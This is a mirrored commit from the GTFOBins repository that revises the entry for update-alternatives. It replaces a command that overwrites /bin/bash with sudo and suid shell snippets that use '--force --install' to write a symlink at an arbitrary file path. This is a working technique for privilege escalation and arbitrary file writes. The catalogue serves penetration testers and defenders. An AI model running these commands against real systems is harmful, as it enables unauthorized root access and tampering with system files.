mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Improve update-alternatives
This commit is contained in:
parent
e212f23455
commit
22899a5159
@ -1,8 +1,17 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
sudo:
|
sudo:
|
||||||
- description: Replace existing binary with symlink pointing to user supplied binary
|
- description: Write in `$LFILE` a symlink to `$TF`.
|
||||||
code: |
|
code: |
|
||||||
cp file_to_replace_bash /tmp/bash
|
LFILE=/path/to/file_to_write
|
||||||
sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
|
TF=$(mktemp)
|
||||||
|
echo DATA >$TF
|
||||||
|
sudo update-alternatives --force --install "$LFILE" x "$TF" 0
|
||||||
|
suid:
|
||||||
|
- description: Write in `$LFILE` a symlink to `$TF`.
|
||||||
|
code: |
|
||||||
|
LFILE=/path/to/file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo DATA >$TF
|
||||||
|
./update-alternatives --force --install "$LFILE" x "$TF" 0
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user